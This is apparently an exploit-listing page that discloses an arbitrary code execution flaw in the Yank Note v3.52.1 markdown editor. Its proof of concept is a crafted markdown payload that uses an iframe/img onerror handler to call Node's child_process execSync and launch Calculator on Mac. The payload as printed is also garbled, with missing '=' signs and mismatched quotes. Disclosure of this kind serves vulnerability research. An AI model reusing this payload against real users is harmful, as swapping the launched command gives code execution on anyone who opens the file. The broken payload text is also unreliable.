Exploits / Vulnerability Discovered : 2023-05-23 |
Type : local |
Platform : multiple
This exploit / vulnerability Yank note v3.52.1 (electron) arbitrary code execution is for educational purposes only and if it is used you will do on your own risk!
Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement
Technical Details & Description:
A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.
Proof of Concept (PoC):
Arbitrary code execution:
Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">